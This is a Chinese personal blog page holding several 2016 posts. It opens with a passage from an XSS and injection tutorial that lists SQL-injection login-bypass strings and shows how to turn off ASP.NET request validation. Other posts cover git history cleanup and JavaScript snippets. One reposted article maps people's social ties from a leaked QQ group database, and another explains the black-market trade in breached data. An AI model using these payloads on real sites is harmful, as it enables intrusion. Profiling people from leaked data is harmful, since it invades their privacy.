<A href=http://www.testsite.com://www.testsite.com/ogle.com/>link</A>
admin’–
‘ or 0=0 —
” or 0=0 —
or 0=0 —
‘ or 0=0 #
” or 0=0 #
or 0=0 #
‘ or ‘x’=’x
” or “x”=”x
‘) or (‘x’=’x
‘ or 1=1–
” or 1=1–
or 1=1–
‘ or a=a–
” or “a”=”a
‘) or (‘a’=’a
“) or (“a”=”a
hi” or “a”=”a
hi” or 1=1 —
hi’ or 1=1 —
hi’ or ‘a’=’a
hi’) or (‘a’=’a
hi”) or (“a”=”a

HTML Encode 和URL Encode的区别

刚开始我老是把这两个东西搞混淆, 其实这是两个不同的东西。


HTML编码前面已经介绍过了,关于URL 编码是为了符合url的规范。因为在标准的url规范中中文和很多的字符是不允许出现在url中的。


例如在baidu中搜索"测试汉字"。 URL会变成

http://www.baidu.com/s?wd=%B2%E2%CA%D4%BA%BA%D7%D6&rsv_bp=0&rsv_spt=3&inputT=7477


所谓URL编码就是: 把所有非字母数字字符都将被替换成百分号(%)后跟两位十六进制数,空格则编码为加号(+)


在C#中已经提供了现成的方法,只要调用HttpUtility.UrlEncode("string <scritp>") 就可以了。  (需要引用System.Web程序集)


Fiddler中也提供了很方便的工具, 点击Toolbar上的"TextWizard" 按钮

浏览器中的XSS过滤器

为了防止发生XSS, 很多浏览器厂商都在浏览器中加入安全机制来过滤XSS。 例如IE8,IE9,Firefox, Chrome. 都有针对XSS的安全机制。 浏览器会阻止XSS。 例如下图

7.png



如果需要做测试, 最好使用IE7-。

ASP.NET中的XSS安全机制

ASP.NET中有防范XSS的机制,对提交的表单会自动检查是否存在XSS,当用户试图输入XSS代码的时候,ASP.NET会抛出一个错误如下图

8.png



很多程序员对安全没有概念, 甚至不知道有XSS的存在。 ASP.NET在这一点上做到默认安全。 这样的话就算是没有安全意识的程序员也能写出一个”较安全的网站“。


如果想禁止这个安全特性, 可以通过 <%@  Page  validateRequest=“false"  %>

想要更多关于XSS的使用和防御教程请Google搜索:https://www.google.com/#q=site:drops.wooyun.org+xss

参考:http://www.cnblogs.com/TankXiao/archive/2012/03/21/2337194.html


Mrxn 发布于 2016-4-10 16:44

这么受欢迎?

博客这段时间一直遭受各种攻击,逼我换回国内,再给钱加上防护盾。。。唉熊孩子们这能玩。使用ssl的时候就不停的DDOS,小小vps扛不住。那就不用。

今天才半天,各种扫描,sql注入,webshell探测,一大堆。。。看得不要不要的。。。实在不行就转到博客园,看你还攻击。。。

0.png1.png2.png

吐槽一句,做个博客,没和谁抢啥,也没啥盈利,干嘛盯着不放。醉了 -_-|| 谁有高防服务器,求搭伙。


Mrxn 发布于 2016-4-8 12:27

简单的js代码让你的鼠标拥有动态文字跟随

2016-04-07 10_39_41.png

效果呢,如上图所示,具体效果可以看我博客就知道了,我把代码贴出来,需要的,喜欢折腾的慢慢去折腾哈,你也考虑把文本弄成随机变换的。

// ENTER TEXT BELOW. CAN *NOT* INCLUDE NORMAL HTML CODE.
var text='W elcom e to M rxn\'s B log *_*' ;
var delay=30;                              // SPEED OF TRAIL

var Xoff=10;                                // PIXEL COUNT FROM THE LEFT OF THE CURSOR (- VALUES GO TO LEFT)

var Yoff=-25;                              // PIXEL COUNT FROM THE TOP OF THE CURSOR (- VALUES GO UP)

var txtw=9;                               // AMOUNT OF PIXEL SPACE EACH CHARACTER OCCUPIES

var beghtml='<font color="#FF0000"><b>';   // OPTIONAL HTML CODE THAT EFFECTS WHOLE TEXT STRING SUCH AS FONT COLOR, SIZE, ETC.

var endhtml='</b></font>';                 // END HTML CODE. MOSTLY USED IF ABOVE SETTING IS USED.

//********** NO NEED TO EDIT BELOW HERE **********\\

ns4 = (navigator.appName.indexOf("Netscape")>=0 && document.layers)? true : false;

ie4 = (document.all && !document.getElementById)? true : false;

ie5 = (document.all && document.getElementById)? true : false;

ns6 = (document.getElementById && navigator.appName.indexOf("Netscape")>=0 )? true: false;

var txtA=new Array();

text=text.split('');

var x1=0;

var y1=-1000;

var t='';

for(i=1;i<=text.length;i++){

t+=(ns4)? '<layer name="txt'+i+'" top="-100" left="0" width="'+txtw+'" height="1">' : '<div id="txt'+i+'" style="position:absolute; top:-100px; left:0px; height:1px; width:'+txtw+'; visibility:visible;">';

t+=beghtml+text[i-1]+endhtml;

t+=(ns4)? '</layer>' : '</div>';

}

document.write(t);

function moveid(id,x,y){

if(ns4)id.moveTo(x,y);

else{

id.style.left=x+'px';

id.style.top=y+'px';

}}

function animate(evt){

x1=Xoff+((ie4||ie5)?event.clientX+document.body.scrollLeft:evt.pageX);

y1=Yoff+((ie4||ie5)?event.clientY+document.body.scrollTop:evt.pageY);

}

function getidleft(id){

if(ns4)return id.left;

else return parseInt(id.style.left);

}

function getidtop(id){

if(ns4)return id.top;

else return parseInt(id.style.top);

}

function getwindowwidth(){

if(ie4||ie5)return document.body.clientWidth+document.body.scrollLeft;

else return window.innerWidth+pageXOffset;

}

function movetxts(){

for(i=text.length;i>1;i=i-1){

if(getidleft(txtA[i-1])+txtw*2>=getwindowwidth()){

moveid(txtA[i-1],0,-1000);

moveid(txtA[i],0,-1000);

}else moveid(txtA[i], getidleft(txtA[i-1])+txtw, getidtop(txtA[i-1]));

}

moveid(txtA[1],x1,y1);

}

window.onload=function(){

for(i=1;i<=text.length;i++)txtA[i]=(ns4)?document.layers['txt'+i]:(ie4)?document.all['txt'+i]:document.getElementById('txt'+i);

if(ns4)document.captureEvents(Event.MOUSEMOVE);

document.onmousemove=animate;

setInterval('movetxts()',delay);

}


Mrxn 发布于 2016-4-7 10:41

清空Github上某个文件的历史

今天在Github更新代码的时候,不小心把Gmail私钥文件更新上去了。即便我立刻删除了这个文件,可是在版本历史里面仍然可以看到这个文件的内容。这可把我吓坏了。

Google一圈以后,终于找到了解决办法。把某个文件的历史版本全部清空。

首先cd 进入项目文件夹下,然后执行以下代码:

git filter-branch --force --index-filter 'git rm --cached --ignore-unmatch 文件名' --prune-empty --tag-name-filter cat -- --all

git push origin master --force

rm -rf .git/refs/original/

git reflog expire --expire=now --all

git gc --prune=now

git gc --aggressive --prune=now

虽然不知道他们的作用是什么,不过真的解决了我的问题。看起来,以前我说我熟练掌握git,真是自不量力。

另外还找到了另一个方法:

git filter-branch -f --tree-filter rm -rf vendor/gems HEAD
git push origin --force

文/青南(简书作者)
原文链接:http://www.jianshu.com/p/573c1d2fe9fd

Mrxn 发布于 2016-4-5 12:08

判断是否成功将Jquery库引入,如果没有成功引入则引入本地Jquery库

这里我用的是引入emlog的主题/插件本地Jquery库做的例子。多了就不说了,直接上代码:


<script  src=http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js></script>
<script type="text/javascript">
//<![CDATA[
//判断是否成功将Jquery库引入,如果没有成功引入则引入本地Jquery库
if (typeof jQuery == 'undefined') {document.write("<script type=\"text/javascript\" src=\"https://mrxn.net/content/templates/MrxnWeb/js/jquery.min.js\"><\/script>");}
//]]>
</script>

或者有更短一点的:

<script src=http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js></script>
<script type="text/javascript">
//<![CDATA[
//判断是否成功将Jquery库引入,如果没有成功引入则引入本地Jquery库
!window.jQuery && document.write("<script type=\"text/javascript\" src=\"https://mrxn.net/content/templates/MrxnWeb/js/jquery.min.js\"><\/script>");
//]]>
</script>



Mrxn 发布于 2016-4-4 14:07

利用d3.js对大数据资料进行可视化分析

作者: [email protected]  [email protected]

0x00 背景


对于前段时间流出的QQ群数据大家想必已经有所了解了,处理后大小将近100G,多达15亿条关系数据(QQ号,群内昵称,群号,群内权限,群内性别和年龄)和将近9000万条群信息(群号,群名,创建时间,群介绍),这些数据都是扁平化的2维表格结构,直接查询不能直接体现出用户和群之间的直接或者间接关系。通过数据可视化,可以把扁平结构的数据作为点和线连接起来,从而更加直观的显示出来从而进行分析。

d3.js是一个近年来推出的基于javascript的数据展示库,全称为Data Driven Document, 在浏览器数据展示领域的地位类似于通用js框架里的jQuery。d3.js的官网是d3js.org,大家可以在上面看到很多例子和应用。d3.js也是图形数据库neo4j所内置的数据展示工具。

说到图形数据库,其实正确的翻译应该是图数据库,图即所谓的Graph,来自于数学里的图论,比如四色定理和推销员过桥的问题(著名的NP问题之一)。图数据库着重于数据之间的关联和属性,对于关系错综复杂的关系分析效率很高。例如,我想知道谁是我朋友的朋友,并且他们有哪些朋友也认识我。对于这种问题,普通关系型数据库的计算复杂度是O(N^c)左右或者更高,N为选择范围的数据集合大小,你好友数量加上好友的好友的数量等,c为关系层数。图数据库的计算复杂度在O(N^2)左右或者更低,但是基本不会超过O(N^2)。图数据库对于复杂关系数据查询起来效率高的主要原因是在数据输入的时候就已经对关系进行了处理和索引,这样做在查询的时候具有很高的效率,但是在数据导入的时候会很慢。QQ群的15亿个关系在向图数据库neo4j里导入的时候花了3天都没弄完,也没有进度提示,所以后来我直接放弃了。

0x01 数据处理


在QQ群和群成员关系里面,对于层数我是这么定义的:

第1层:目标QQ加入的所有群  
第2层:目标QQ加入的所有群的所有成员  
第3层:目标QQ加入的所有群的所有成员加入的所有群  
.  
.  
.  

大家可以看出这样的查询是可以递归的,假设每个QQ号所加入的群数量和每个群的成员数量为N,那么查询3层数据时总计算量为N*N*N=n^3,所以当查询层数为c层的时候,计算复杂度是N^c。

前面说过,图数据库的计算复杂度一般在N^2以下,所以当使用普通的关系型数据库的时候,如果查询的层数不多,效率和图数据库比起来差不多,加上关系数据库自带的便于管理和导入导出的属性,所以我还是选择了mysql数据库。

对于QQ和QQ群之间的关系,每个QQ号都能加入群,一个群里也有很多QQ,基本都在几十到几百人,所以两个QQ号在同一个群里不一定代表他们的关系很紧密,换句话说QQ和QQ群之间的关系相对于QQ好友而言相对较弱。但是这并不代表我们从中不能分析出有用的资料,俗话说的好,大数据就像一座金矿,只有用力挖才能挖到金子。

d3.js支持多种数据格式,比如JSON,XML,CSV,HTML等,因为PHP的数组可以很简单的转换为JSON格式,所以我选择用PHP写API来获取JSON数据。QQ和QQ群是一种典型的图数据的应用,QQ和QQ群作为节点(node),QQ加入了哪些群作为关系(link),d3.js内置了一个功能很强大的内建布局,叫做Force-Directed Graph(受力导向图),后面简称为force。force布局模拟了一些基本的物理粒子原理,比如引力和斥力(确切的说是模拟了电磁力和引力,在离的远的时候会互相吸引,在离的近的时候斥力急剧增加),并且可以调节力的大小和受力距离等等,可以说是自由度相当高。关于d3.js的force布局,在官网有详细的API和不少例子,这里我就不贴代码了。

在force布局里面,数据源的JSON可以有很多种不同的格式和属性,但是基本格式如下:

{"nodes":[{"num":10001,type:"qq"},{"num":12345678,type:"qun"}],"links":[{"source":"10001","target":"12345678","auth":1,"nick":"pony"}]} 

其中nodes数组对应的是节点列表,links对应的是关系列表。

每个节点可以有很多自定义属性,在d3.js可以针对每个节点存取节点的属性,比如我定义num是QQ号或者群号,type代表节点是QQ还是群,另外我在js里设定在type==‘qun’的时候显示群的图标,是qq的时候显示qq的图标。关系里面默认的属性有source和target,分别对应一个关系的两头,默认情况下关系里面的source和target对应的数字是节点在节点数组里面的位置index。但是我自定义成了qq号和群号。另外你也可以定义其他属性,比如auth代表这个QQ号在群里的权限,nick是群昵称。

对于QQ群这样的关系来说,基本上在第4层和以上的QQ和群的关系就比较弱了,所以为了提高查询速度和减少节点数量,我只查询2层关系(少么?不少,要想想有些群有超过500人……)。

首先,d3.js需要在浏览器里面运行,我的首选是Google Chrome,V8引擎的效率果然不错,在节点和关系不多的时候基本感觉不到延迟,后来在FF和IE11里面测试了一次,FF比Chrome卡一半左右,IE的话我只能呵呵了……

先拿小马哥做个测试,QQ号是霸气的10001。当d3.js导入完数据JSON的时候,各种节点会在屏幕上乱飞几秒钟,直到他们的力达到一个稳定的平衡点。结果如下:

说明:

企鹅图标的节点代表QQ,群图标的节点是群(废话么)。  
每条线代表一个关系,一个QQ可以加入N个群,一个群也可以有N个QQ加入。  
线的颜色分别代表:  
土豪金:群主  
狗腿绿:群管理员  
屌丝蓝:群成员 

大家也可以看到,群主和管理员的关系线也比普通的群成员长一些,这是为了突出群内的重要成员的关系。

图标旁边自动标注了QQ号和群号,如果有的话还有群名。没有在QQ号旁边标注昵称是因为很多人加入不同的群使用的是不同昵称,所以把昵称放到了其他的地方显示。

在下图中大家可以隐约的看到,所有的关系都是以QQ 10001为起点的。

0.png

在图上节点是可以拖拽的,拖拽后会固定在你释放的地方。我们把几个群稍微拖的分开一点,关系就一目了然了1.png

这个时候我们可以看到在目标的QQ群里也有很多共同QQ号,比如有些QQ号同时加入了2,3个群。群名显示的都是各种产品开发讨论群,这些同时加入2,3个产品群的人估计不是产品经理就是主管吧……

2.png

鼠标悬停到群图标上可以看到群的详细信息(如果有的话)

3.png

因为很多人在不同群里的昵称不一样,所以群内昵称等信息就只能放到link上面了,因为线比较细,所以鼠标比较难对准,这个功能还待修改。

这个家伙和小马哥一起同时在3个群里,好基友?

4.png


小马哥的QQ群信息展示完了,下面我们来看看更加实际的应用,比如把某圈子里的人找出来。我们先从某土豪大黑阔大牛的QQ号入手:

初始数据好多……此大黑阔加入的群够杂的,不过就是因为杂所以才能更深入的了解一个人的所有喜好。看看群名神马的,我好像看到了dota,XX国际俱乐部,web技术交流,XXsec等群……充分说明了此人……是个屌丝技术宅大黑阔,XX国际俱乐部又似乎带着那么种高大上的感觉……

图中错综复杂的各种关系组成了一朵朵盛开的菊花,向我们诉说着他的历史……

5.png


为了理清他那不堪回首的过去和关系网,我特地把浏览器窗口拖到第二个屏幕上,然后把群挨个分开。为了保护当事人的隐私,这张图我打码了。

这张图比较宽,建议大家下载下来放大看

6.png


0x02 总结


假如把层数扩展到4层,不知能否筛选出中国所有黑阔的QQ号呢?至少我已经在这张图里看到了很多熟悉的名字和号码。

腾讯总是说漏洞早已修复,不存在问题了,广大网民放心,但实际上信息泄露这种事情,岂是你漏洞修复好了就结束了的事情?

注:转载自乌云文库,原作者为QQ群关系查询站的站长 --- insight-labs ,原文地址:http://drops.wooyun.org/tips/823


Mrxn 发布于 2016-4-2 18:32

互联网黑市分析:社工库的传说

任何一个行业都是一个江湖,有江湖就有故事,追名逐利的人喜欢被写入故事,踏实做事的人却希望被隐匿。久而久之,江湖上的故事越来越虚名浮利,听故事的人也越来越坐井观天。岂不见无数江湖武侠小说,开篇的人物总是让我们误以为是江湖大侠,看着看着才发现一山更比一山高,到最后才发现开篇人物简直是不入流的小啰啰。而真正的高人,反而隐匿成传说。

互联网行业也是如此,大家喜欢创造故事,故事也越来越千篇一律的浮躁:什么产品上线7天就几百万用户、什么开发阶段就上亿投资、什么90后霸道总裁颠覆行业、什么大咖的内部分享、从xx看xx的四大趋势、从xx看xx的十大价值、xx的专注力、xx的微创新、xx的平台化、xx的独家专访首次讲述xx辛酸、xx概念的深度解析加独特见解,等等。翻来覆去,好像也就是那么多东西了。

就好像有些江湖人士,是需要靠卖艺为生,请个会吆喝的帮忙吆喝吆喝,弄个猴子上蹿下跳一下,响啰使劲的敲几下,骗骗几个外行人,撒点碎银子,仅此而已。接下来大家再接着吹嘘一番,比比谁拿的碎银子多点,动口不动手。长期以往,有些人招摇撞骗,也竟然成为了一代口碑中的大侠。久而久之,如今很多江湖人士只是卖艺拿贵客的碎银子为生,如何卖艺卖的更好是大家追求的目标。那些内功心法,武功秘籍,也都成为了历史,那些大侠们,也成为了传说。

难道江湖不再是那个江湖了么?其实不然,浮躁沉沦的只是江湖白道,只是这些大内侍卫,镖局镖师,衙门捕头而已。而江湖黑道中,黑客技术、海盗精神,继续被追捧,虚浮的商业模式永远不如深度技术被重视,“铁甲依旧在”的情怀还在回荡,而地下产业链相关的进步也在不断的深入,并且潜伏起来暗自发展,为了更大的目标和黑暗梦想。

什么是社工库

社工库是社会工程学数据库的简称(Social Engineering Data)。

提到社工库就必须先介绍一下社会工程学(Social Engineering),这个名词最早是在2002年由传奇黑客米特尼克(Kevin David Mitnick)在提出,但其初始目的是让全球的网民们能够懂得网络安全,提高警惕,防止没必要的个人损失。由于米特尼克在黑客界的传奇地位,很快社会工程学就开始被深入研究并且发扬光大。

社会工程学,准确来说是一门艺术和窍门的集合。它利用人性的弱点、心理的缺陷,以顺从意愿、满足欲望的方式,让人们上当,或以此为入口进行攻击。社会工程学的窍门也蕴涵了各式各样的灵活的构思与变化因素,利用人的弱点如人的本能反应、好奇心、信任、贪便宜等弱点进行攻击。它集合了心理学、社会心理学、组织行为学等一系列的学科,由于其非法性和在很多国家地区都被严厉的打击,社会工程学也变成了一个见不得光的学派。

但是在黑客群体中,社会工程学就是他们的第一方法论和必修课。离开了社会工程学,黑客们运用的网络技术几乎都没有用武之地。如果我们用黑客最喜欢的海盗来比喻,各种网络技术可以比作航海、游泳、剑术、而社会工程学即是海盗们的行为准则和创新指引。

那么什么是社会工程学数据库(社工库)呢?即黑客在运用社会工程学进行攻击的时候,积累的各方面数据的结构化数据库。简单的说,社工库是黑客用来记录攻击手段和方法的数据库,这个数据库里面有大量的信息,甚至可以找到每个人各种行为记录(每个人在每个网站上的账号、密码、分享的照片、信用卡记录、订的机票记录、通话记录、短信内容、各种社交软件的聊天等等包罗万象),比如之前有很火爆的查询开房记录的数据库,就是一个典型的极简单的社工库的例子。

那么社工库又是如何产生的,在国内的互联网地下产业链中,又是什么模式的存在,发展又是什么情况呢,我们接着分析。

社工库的发展:数据盗窃

既然是传说,背后就有很多故事,说到社工库的产生和发展,我们就得先从互联网的数据窃取与交易开始说起。

互联网用户数据泄露一直是行业关注的焦点,从最近的京东用户密码泄露事件,到之前的CSDN的数据库完全爆出,再到如家酒店的用户数据泄露,网站和黑客在用户数据上一直在进行着旷日持久的攻防战。但是爆出来的数据泄露,仅仅是冰山一角,甚至也不到。而且这些信息其实对于黑客来说,根本没有什么价值。而对于用户来说的危害,也没有想象的那么大,因为大多数时候这些数据在黑市中几乎都已经是半公开的性质了。

而数据窃取与交易这个细分领域也几乎是地下产业链隐藏的最深的一部分,很多在互联网地下产业链中沉寂了多年的大佬都并不了解此道的相关信息。绝大多数被盗窃后的网站数据,并不会公开与众,只是交易后进入到地下产业链的其他环节而已。所以目前到底有多少网站的数据已经被窃取我们没法客观的进行数据分析。但在互联网黑市中,大家说起来类似的问题,常用的一个词是“十墓九空”,也许这个说法有点夸张,但是也可以参考。

我们从2009年以来,通过黑市的舆情监控和专业网络调查,对互联网每年的流量排名前100的网站(刨去没有用户账号机制的)进行调查,结果如下:
02.png

数据窃取产业虽然隐藏的非常深,但是发展历史永久,地下产业链也随之成熟,对于如何把数据变成货币,已经有了非常完整的程序的分工协作渠道。而其模式相对简单,一般只包括:脱库、洗库、撞库这几个阶段。

在地下产业术语里面,“脱库”是指入侵有价值的网络站点,把数据库全部盗走的行为,因为谐音,也经常被戏称作“脱裤”。在取得大量的用户数据之后,黑客会通过一系列的技术手段清洗数据,并在黑市上将有价值的用户数据变现交易,这通常也被称作“洗库”。最后黑客将得到的数据在其它网站上进行尝试登陆,叫做“撞库”,因为很多用户喜欢使用统一的用户名密码,“撞库”也可以是黑客收获颇丰。

在早期的数据窃取过程中,这几个阶段几乎都是由同一个团队、甚至单个人来完成的。发展到今天,已经完全细化成产业链,很少有人从脱库、洗库一起做了,而变成:定制化模式,或交易化模式。

定制化模式:就是现有下游客户指定的某一家网站,然后聘请黑客去脱库,脱库后获得佣金的模式,在定制化模式中,有很强的黑产规矩即数据属于下游客户,而黑客不可以再次出售,或者在一定的窗口期内不能再次出售。

交易化模式:黑客去某一家网站脱库,脱库后直接在黑市上寻找下家,在这种模式下一般可以反复出售,但是由于风险较大,而且数据真实度和新鲜度不一定能得到保证,又充满了骗局,越来越没落了。

而下游客户定制某特定一家网站的脱库,是怎么盈利呢?

大多数时候,都是竞争对手或者上下游企业采购,而且大多数都是主流互联网产业链中的客户,甚至是传统企业客户。其实这个模式很简单,想一想在生意场上,这家网站的数据库对谁谁有利,谁就可能是潜在的定制客户,只不过由于很多主流互联网企业或者传统行业很少了解这个地下产业,所以就会有一些中间人,来做中介促成相关的生意,而这些中间一般情况就是黑市里面的买家或者定制客户了。
我们用实际的例子说明:M哥在黑客圈小有名气,技术过硬。某互联网医疗产品最近要拿投资,深度用户不够啊,通过中间人,辗转的找到了M哥。M哥奋战了几天,直接脱裤了几家三甲医院的网络挂号系统,历史数据应有尽有,结构化分类一应俱全。M哥到手200w,中间人到手300w,而这家互联网医疗产品由于用户的激增和数据的全面性,以及对应新产品的虚假运营,多拿来1000w的投资,绝对双赢。
03.png
社工库的发展:洗库撞库

如之前分析,不管数据如何贩卖交易,卖给谁,怎么卖,最后黑客手里面还会有一份数据,由于黑市一般都采取定制化交易,黑客们不能再次出售了,所以一般情况下黑客们会用这份数据进行洗库撞库再洗库操作。

洗库主要是清洗这些数据中可以直接变现的部分,但是这样可以直接洗库的就能洗出价值的数据,其实并不多。一般都是有预存款或者虚拟物品交易的数据库才能洗出来价值,例如:游戏账号、电商账号等等。

更多的时候,黑客将得到的数据在其它网站上进行尝试登陆,叫做“撞库”,因为很多用户喜欢使用统一的用户名密码,“撞库”其实可以收获颇丰。而撞库和洗库的过程是配合的,黑客使用自己开发的工具、直接数据库匹配登录技术以及配合黑色产业链中的打码机制(之前TOMsInsight报告中有介绍)可以对很多网站进行批量撞库,一旦成功,可以进行再次洗库。

这就好比黑客们拿到了一份没什么价值的网站的全部用户名和密码,没关系,可以用这份用户名密码来尝试着登录有价值的网站嘛,如果能登录,不就可以洗出来价值了么,我们还是继续看M哥的例子。
M哥卖掉了几家三甲医院患者的挂号数据,虽然到手200w,但是也不满足。想想这几百万条数据,应该还会有别的价值吧。但是M哥又是一个传统的讲道义的黑客,不会再次出售给别的买家。只能从这些数据本身来找到价值了。

M哥尝试用这些数据登陆QQ、京东、支付宝、淘宝、各类网游,从而洗掉里面的资产,但是由于各种网络的安全策略的保护,M哥虽然有收益,但是却不多,甚至都不够自己的洗库撞库的网络成本,于是M哥继续沉寂下来,这一沉寂,开辟了一个传说。

社工库的发展:构建传说

在很多时候,社工库都是一个传说,就像海盗里面流传的那笔谁也不知道的宝藏,只有那块已经不知道转了多少手的脏兮兮的残缺的藏宝图才预示着它的存在。但是社工库却又很客观的放在那里,一直存在,一直沉寂。

除了贩卖数据本身得到金钱上的利益之外,黑客还会把得到的数据进行整理,制作成社工库。社工库是一个积累的过程,也需要大量的人力物力的去建设,同时还是一个漫长的过程。开始的时候就像M哥一样,单兵作战的去积累,今天是三甲医院的数据库,明天是旅游网站的数据库,后天的演唱会订票网站的数据库,这些数据库积累越来越多。

M哥后来遇到了V哥,V哥是同行,手里面也有很多数据库,可以和M哥互补,两人一拍即合,把双方的数据库融合起来,内容变得更丰富。而且两个人不断的进行分析维护,排除噪点数据和没有价值的数据,相互关联,刻意的去丰富一些必需的数据字段:比如QQ号和密码、比如手机号、比如身份证号。再刻意的去交换购买补充一些极其有价值的,比如征信报告。

社工库的内容越来越丰富,而M哥和V哥两个人力量还是小,两人刻意的去联合同行,组成利益联盟,把手里面的数据都放到一个社工库,组织力量去维护去分析。

这是一个放大的效应,由于社工库的日益庞大,信息的日益完善,再加上时间的沉淀,很多数据都可以慢慢地浮出水面,可以获得相当多的信息。目前有一些公开的社工库,信息全面性和对于用户隐私的了解以及让人震惊,但是这才是仅仅公开的社工库,对于黑客们来说其实已经是没有价值的信息。真正地下的社工库的数据信息丰富程度要远远更大,也绝对隐匿。

利用社工库,几乎可以暴漏出一个网络用户的全部网络行为、大量的用户隐私,和一些牵扯到个人身份财产的相关的数据信息。

首先让洗库变得更加容易:由于数据量很大信息很全,很多的账号的的虚拟财产的转移就不像之前那么困难,了解到信息之多甚至都可以伪装成这个用户去进行操作了。

其次让各种诈骗变得简单:之前大多数诈骗都是光撒网模式,而社工库的完善后,可以非常有针对性对一些特定的用户进行诈骗。利用数据技术,甚至通过木马分析一些用户QQ聊天的内容,寻找有价值的目标,和相对更信任的关系网络。这种模式风险会更小,而且由于诈骗目标相对较大,收益更大。在这种模式下,完成技术分析工作的一般是黑客,但是最后完成诈骗的却一般不是,黑客把按照客户要求去分析,最后把可以完成某种特定诈骗的目标连通相关信息出售(黑市称脚本)。

最后社工库也成为地下产业链的基础服务商:全面的社工库基础数据,也是精准的流量获取来源,成为流量获取分发的地下产业链的基础服务和大数据服务商。一些特有的黑色产业目前非常依赖社工库,例如精准定位的赌博平台、一些p2p金融类型的诈骗、或者是一些商业骗术。

社工库还可以进行网络的定向攻击,有时候一些不懂行的人进入互联网,糊里糊涂的就被骗的搞的一塌糊涂,互联网并不简单,简单的是那些幼稚的主流科技媒体,真正的中国互联网行业水很深,深到还没有外企可以成功的地步。

而社工库也在不断的扩大,丰富,并且继续沉寂。

社工库的发展:未来趋势

从2013年以后,国内互联网黑市上的数据交易产生了严重的分层:一些大的数据盗窃团伙早已经完成早期的数据积累构建非常完善的社工库,对于一般的数据定制需求都不会再接,会专注于更深度变现更强的金融诈骗;而一些小的数据盗窃团伙还在不断的相互交易、交换数据、而且相对高调的浮出水面,其实危害反而没有那么大。

而且出于用户交互方面的考虑,目前越来越多的移动终端支付或者金融产品的安全策略略浅,再加上更丰富的网络电商活动,导致沉寂在黑产中的数据危害也越来越大。这可能也会是更多的互联网产品的设计时需要考虑的问题所在。

而真正沉浸起来的社工库,一方面已经成为传说,另外还在构建着自己未来的目标,这些才是真正危害,也是对于我们最大的威胁。我们TOMsInsight分析到此很矛盾:在这个主流互联网都在炒作概念玩击鼓传花的骗术,而地下互联网都在积累的年代,也许我们真的应该沉下心去仔细的去研究去分析去洞察,而不是人云亦云。

“暴漏出来的社工库都是小孩玩的,真正有价值的社工库谁也不会暴漏,都在沉寂”, M哥对我们TOMsInsight的调研员说到“有时候真的看不懂现在主流的互联网,拿几百万投资就嘚瑟的不得了,其实就是不入流的卖艺打赏呗,小孩过家家。我们这行很多人都能一天赚出来这个投资数的现金来,反而继续去沉寂,沉下心钻研,为了未来更大的打算。“ M哥的话有些绝对了,但是在某种程度上也值得我们反思。

给我们的启示

江湖的故事会继续,传说也会继续。有些人可以选择视而不见,有些人也会选择去逃避。但是冬天始终都会到来,冷暖自知。我们不能要求每一个互联网人都踏实下来,毕竟一些浮躁的跟风卖艺求打赏也会是很多人的生存之道,但是我们应该知道,江湖并不是由他们构成,那些传说,也都和每一个故事一样的真正的存在我们的身边。

当一个行业的地下产业比主流产业更踏实,看的更长远,也更注重积累的时候,也许很值的我们所有的从业人员反思。毕竟,传说应该属于真正的英雄!


Mrxn 发布于 2016-4-2 12:42
    1 2

搜索

日历

标签